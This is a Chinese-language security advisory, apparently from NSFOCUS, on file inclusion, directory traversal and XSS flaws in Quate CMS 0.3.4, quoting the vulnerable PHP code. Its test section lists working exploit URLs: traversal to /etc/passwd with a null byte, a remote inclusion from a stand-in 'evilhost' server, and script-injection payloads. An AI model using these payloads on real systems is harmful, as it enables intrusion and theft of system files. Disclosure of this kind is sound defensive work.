安全研究

安全漏洞
Quate CMS多个输入验证漏洞

发布日期:2008-05-23
更新日期:2008-05-28

受影响系统:
Quate Quate CMS 0.3.4
描述:
BUGTRAQ  ID: 29348

Quate CMS是运行在PHP和MySQL上的网站内容管理系统。

Quate CMS的多个模块没有正确验证用户提供的输入,可能导致跨站脚本攻击、泄露敏感信息或入侵有漏洞的系统。

1) 当bypass_installed设置为1的时候,admin/includes/header.php文件中没有正确地验证对secure_page_path参数的输入便用于包含文件:

#################################################

if ($bypass_installed != 1) {
        if (!is_file("../includes/installed")) {
                ...
                require("../includes/simple_gui.php");
                exit();
        }
}

if ($bypass_restrict != 1) {
require_once($secure_page_path. "includes/secure.php");
}

$admin_template_default = "default";
if ($not_logged_in != 1) {
//echo $row_secure['account_theme'];
if (file_exists("includes/themes/" .$row_secure['account_theme']. "/header.php")) {
  require_once("themes/" .$row_secure['account_theme']. "/header.php");
} else {
  require_once("themes/" .$admin_template_default. "/header.php");
}
} else {
require_once("themes/" .$admin_template_default. "/header.php");
}

#################################################

这可能导致包含本地或外部资源的任意文件。成功攻击要求打开了register_globals。

2) admin/includes/footer.php文件中没有正确地验证对admin_template_default参数的输入便用于包含文件:

#################################################

if ($not_logged_in != 1) {
if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) {
  require_once("themes/" .$row_secure['account_theme']. "/footer.php");
} else {
  require_once("themes/" .$admin_template_default. "/footer.php");
}
} else {
require_once("themes/" .$admin_template_default. "/footer.php");
}

#################################################

这可能允许攻击者通过目录遍历和URL编码的空字节(%00)包含本地资源的任意文件。成功攻击要求打开了register_globals且禁用了magic_quotes_gpc。

3) admin/filemanager.php文件中没有正确地过滤对dir参数的输入,这允许攻击者通过目录遍历攻击显示或编辑任意文件。成功利用这个漏洞要求有效的管理员凭据。

4) 没有正确地过滤对admin/credits.php、admin/login.php和upgrade/index.php的URL输入便返回给了用户,可能导致在用户浏览器会话中执行任意HTML和脚本代码。

<*来源:Digital Security Research Group
  
  链接:http://secunia.com/advisories/30377/
        http://milw0rm.com/exploits/5668
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://[server]/[installdir]/admin/includes/footer.php?admin_template_default=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/includes/footer.php?row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/includes/footer.php?not_logged_in=1&admin_template_default=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/includes/header.php?bypass_installed=1&secure_page_path=http://evilhost/info.php%00
http://[server]/[installdir]/admin/includes/header.php?bypass_installed=1&bypass_restrict=1&row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/login.php/"><script>alert("DSecRG XSS")</script>
http://[server]/[installdir]/upgrade/index.php/"><IMG SRC="javascript:alert('DSecRG XSS')
http://[server]/[installdir]/admin/filemanager.php?type=edit&dir=/../../../../../../../../..&file=boot.ini

建议:
厂商补丁:

Quate
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.quate.net

浏览次数:2689
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障